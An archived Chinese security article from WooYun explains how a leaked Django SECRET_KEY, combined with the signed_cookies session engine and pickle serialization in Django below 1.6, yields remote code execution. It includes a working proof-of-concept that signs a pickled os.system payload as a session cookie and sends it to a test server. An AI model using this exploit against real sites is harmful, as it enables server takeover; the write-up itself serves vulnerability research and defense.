# 从django的SECRET_KEY到代码执行

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2015-09-08T10:29:00Z
Canonical: https://wepostx.com/topics/1022

> 乌云历史资料归档
>
> **原始作者：** xxlegend
> **原始编号：** superkieran-wooyundrops:749
> **原始发布时间：** 2015-09-08 18:29
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

# 0x00 背景

最近审查代码发现某些产品在登录的JS代码中泄露了SECRET_KEY,将该值作为密码加密的盐，这样就暴露了加密salt不太好吧，更重要的是对django的安全造成了极大的威胁。

# 0x01 SECRET_KEY作用

SECTET_KEY在djanog中使用非常广泛，基本上涉及到安全，加密等的地方都用到了，下面列举一些常见情景：
1，json object的签名
2，加密函数，如密码重置，表单，评论，csrf的key，session数据
这里面就要重点讲到session的问题，在这里使用不当就会导致代码执行

# 0x02 代码执行

### 2.1 settings的session设置
django默认存储session到数据库中，但是可能会比较慢，就会使用到缓存，文件，还有cookie等方式，如果采用了cookie机制则有可能代码执行，settings配置如下：

```text
SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
```

### 2.2 django 1.6以下
在django1.6以下，session默认是采用pickle执行序列号操作，在1.6及以上版本默认采用json序列化。代码执行只存在于使用pickle序列话的操作中。

### 2.3 session处理流程
可以简单的分为两部分，process_request和process_response,前者负责选择session引擎，初始化cookie数据。见代码

```text
#!python class SessionMiddleware(object): def process_request(self, request): engine = import_module(settings.SESSION_ENGINE) session_key = request.COOKIES.get(settings.SESSION_COOKIE_NAME, None) request.session = engine.SessionStore(session_key)
```
process_response则是处理返回给用户的cookie信息，比如修改过期时间等。在将session存入缓存后，可能在某个操作中会用到session信息，这个时候就会通过反序列化操作从缓存中取，如果反序列话引擎是采用pickle机制的话就存在代码执行。反序列化的代码位于django.core.signing.py中，这个模块主要是一些签名，加解密操作，同时也包含序列化和反序列化，默认采用JSON引擎，下面是反序列话loads的代码：

```text
#!python def loads(s, key=None, salt='django.core.signing', serializer=JSONSerializer, max_age=None): """ Reverse of dumps(), raises BadSignature if signature fails """ base64d = smart_str( TimestampSigner(key, salt=salt).unsign(s, max_age=max_age)) decompress = False if base64d[0] == '.': # It's compressed; uncompress it first base64d = base64d[1:] decompress = True data = b64_decode(base64d) if decompress: data = zlib.decompress(data) return serializer().loads(data)
```

### 2.4 构造POC

```text
#!python import os os.environ.setdefault('DJANGO_SETTINGS_MODULE','settings') from django.conf import settings from django.core import signing from django.contrib.sessions.backends import signed_cookies class Run(object): def __reduce__(self): return (os.system,('touch /tmp/xxlegend.log',)) sess = signing.dumps(Run(), serializer=signed_cookies.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies') print sess import urllib2 import cookielib url = 'http://10.24.35.228:8000/favicon.ico' headers = {'Cookie':'sessionid="%s"' %(sess)} request = urllib2.Request(url,headers = headers) response = urllib2.urlopen(request) print response.read()
```
通过序列化Run类，实现创建一个文件的操作，在反序列化的时候执行这个操作。执行代码完成可看到在/tmp目录创建xxlegend.log文件，同时web报500错误。

# 0x03 总结

利用条件总结起来就是这么几句话，首先泄露了SECRET_KEY,其次session引擎采用了signed_cookies,django版本小于1.6即存在代码执行问题。同样的问题也存在于python的其他web框架中，如flask，bottle。

## Replies
